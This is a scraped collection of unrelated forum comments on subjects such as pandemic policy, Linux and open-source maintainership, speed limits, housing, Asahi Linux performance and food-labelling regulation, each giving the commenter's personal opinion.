It's not really a solvable problem IMO. Big corporations and humans have different lifespans, so trying to tie together their fates is kind of fools errand. Intel's success has a time horizon of decades. The only person willing to sacrifice that kind of time for a company to see things through is the founder, because it's more sentimentality than achievement or profit seeking.
I was speaking more about not immediately mandating masks, given they were concerned about protective gear shortages and people were supposed to be staying home. Flatten the curve worked well in places that people actually adhered to public health protocols. New Zealand, several places in Europe and Asia, several US states that adopted sufficient NPI.

But flattening the curve didn't work in many places in the US due to the behavioral response of people, where many people felt entitled to break protocols (they aren't) or were forced to due to economic necessity, or whose leaders lacked the will to actually implement the necessary protocols.[0] There is a correlation to political party support, since Trump was a mixed bag of recommendations due to his apprehension of appearing unpopular as a populist.

Not that I am a supporter, but IMHO it was Trump's greatest loss -- it would have been an easy win had he actually been effectual with COVID-19 protocols instead of trying to just look more effective. Though, to be fair, the US doesn't have the right centralization for public health authority given our open trade and travel between states. Perhaps that changes in the next pandemic or two.

It sounds like we are talking about different spaces, I was talking about Linux distros (specifically Debian). Even before I started going to the conference there was some feel of community.

Perhaps the Linux community is larger than Debian or more subject to churn as people change employers and thus change which part of Linux they work on. Or maybe as you say attending the conferences is a bit part of community feeling.

At least when hovered upon (with a mouse or pointer) that vertical ellipsis shows both a grey disk and the text "Customize and control Google Chrome". Happily, that suggests one could click on it and not directly invoke an unwanted operation.

Agree. I’m a US citizen who lived in London. The cost of essentials are actually very affordable in the UK. Your lifestyle excludes the need to acquire material goods. If earning money is your primary focus, I would choose the US. These are my prime earning years and am happy to be here. Otherwise, I found the UK to be an amazing place to live. I look forward to hanging it all up and returning to a quiet village in the Cotswalds.
My brain is already connected to a supercomputer, but the interface speed is very slow (keyboard/mouse/hands/eyes). If I had a neural connection, I could probably train my brain to write one piece of code while squashing simple programming errors in another, at the same time.
Step one is to stop restricting housing growth so that the subset of people who are on the edge don’t fall off.

Then it gets easier for a lot of existing systems to help people who are capable of getting back into (cheaper) housing to do so.

And then we can focus on people who really need more care because we won’t be actively making things way worse the way we are with our housing policies now.
The dice on that page are in fact the same on all sides. For each of those dice, every face on it is the same as every other face, the same shape and attached to the same adjoining faces at the same angles.

They're not regular - the faces are not regular polygons - but that's not a requirement to have an equal chance of landing on each side. The standard d10 is an example of this in itself.

Although Taiwanese Mandarin and Mainland Mandarin are almost perfectly intelligible to each other, they have diverged from each other when it comes to modern nouns, especially in the fields of technology and medical science, etc.

Politics is in all of your software. As a simple demonstration of that, either you wrote it, it’s licensed to you under specific terms, or you’re using it unlicensed and likely violating some set of laws. If you mean “political disagreements I would prefer didn’t overlap with my software priorities”, yeah some of us do want that. Part of achieving any goal is persuasion and leverage. Humans are involved in making software and we put our priorities into that as we see fit.

Implementing the PR yourself can take more much work than just needing to review someone else's work. PRs save you time from having to implement fixes, improvements, or features yourself.

What I have had a lot of is that infra fixes (like "oh this is now a keyword in the latest Python release, there's a trivail fix") just ends up not happening and then your packages are all in limbo.

I understand not having maintainers for actual bug fixes of tricky things. But the "maintainer disappearing" scenario has almost always been just for keeping things running. And in particular people show up with patches! Just well... some arbitrary person was a maintainer, is no longer there, and now there are bunch of people who would love to do most of the work.

I think that "lack of succession strategies" is what really gets these packages, rather than the lack of willing maintainers. Combine that with deep dependency trees and you have a lot of stuff that needs to happen.

I get it though. And I maintain some packages but I don't get involved in standard library shenanigans cuz my imagination is there's a lot of friction there. Just I like that things will probably be there for a while if its in the standard library.

I find that enforced speeding fines (which doesn't seem to happen in the US) causes drivers to drive at different speeds, whether an individual at that speed is safe or not. Inconsistent driving speeds is a lot more difficult to drive in.

If I had a vote (which I don't) I'd say increase all the limits by 10 mph (to reflect what people are doing now) but then also fine people that are speeding (like +2mph).

Moving with the traffic is one factor. Another factor is the speed that the roads are designed to handle. While the former is probably the most significant factor when it comes to safety, there is little doubt in my mind that traffic fatalities would go down if everyone moved with the traffic at the speed limit.

As for people adapting their speeds based upon what's safe and what's not, sometimes it happens and sometimes it doesn't. The joke around here is that people forget how to drive during the first snowfall. Not forget how to drive in the snow. Forget how to drive altogether. Why? Because people aren't adapting their speed. Likewise, people often drive at high speeds on winding roads. People often drive with sole consideration to the road, without any consideration to what surrounds it (e.g. schools, hospitals, pedestrians, cyclists, lane ways, entrances to parking lots, etc.).

Speed limits exist for a reason. Yes, sometimes bad decisions are made by stupid people when creating those speed limits. On the other hand, those stupid people probably know more about traffic safety than someone who thinks they have the right to endanger people by driving over the speed limit.

> "- This is with software rendering. Seriously, these CPUs are good. Better than some other ARM laptop GPUs.

I would take this more as an indictment of ARM laptops rather than any "software rendering is magically fast" statement here. Modern Linuxes on most recent-ish (<5 years old) x86-64 CPUs can quite easily software render at the same speed and quality as that demonstration.

This is a stronger statement of how far the project has come in terms of making everything operate smoothly on the M1, which is excellent (it's been what, a year?).

My prediction: AsahiLinux will start becoming the Linux benchmark king in terms of "out of the box" performance, mostly due to the console effect that Apple's M1s offer them. There's such a limited set of hardware to target they will be able to focus more on stability and performance than other distributions.

I've complained loudly about supply chain weaknesses in the past. But this action, by a trusted author whose identity is known, is not something that our usual models are prepared for, and I'm not sure what we're supposed to learn from it.

Our defenses are tuned to protect against attackers who don't want to be known and who don't have a public reputation built up which they burn in one go.
There is a great deal to be suspicious of in all “fee for service” healthcare to be frank. I am particularly skeptical of dentists, they take on enormous debt to run their businesses and have every incentive to try to turn their patients into profit. They can also easily exploit the classic economic problem of one sided information. The patient has no idea if a procedure is necessary. How much do you really think you need “Invisalign”???
But would that change if the speed limits were removed? I doubt it.

Even worse is that "free software" has a vastly different meaning to a layperson, who probably think mostly gratis before they think libre when they hear "free".

Just to be clear, for the parent, 'person B refuses to use those pronouns for well-considered reasons and with a full understanding of the situation' may apply when we're talking about systems, but there are plenty of people who would use that sort of reasoning to be why they refuse to use someone's pronouns in conversation. No one doing so believes their reasons are poorly considered and/or that they have an incomplete understanding of the situation, after all.

So, yes, "justifiable", as in, "to change that in the system would be a lot of cost and risk and we simply can't justify it, but I agree it sucks that it's that way", not as in "You were assigned male at birth and I refuse to use anything other than he/him when referring to you, because I believe I understand the science, and your personal situation, better than you".

This is not even the first time this deceptive practice has been employed in the US food industry, lets call it the joy of regulatory capture.
Back in the 80s, when "fat-free" became a potent marketing lever, the food manufacturing lobby got the FDA to rule that if the fat content per serving was less than 1 gram, it was close enough to zero to call it fat free.
The problem was they were careful not to define or regulate "portion size" such that they were selling conventional Oleo as "Fat-Free Margarine" where the portion size was dialed down enough to contain no more than .99 grams of fat, when it was as burdened with lipids and unhealthy as any other margarine.
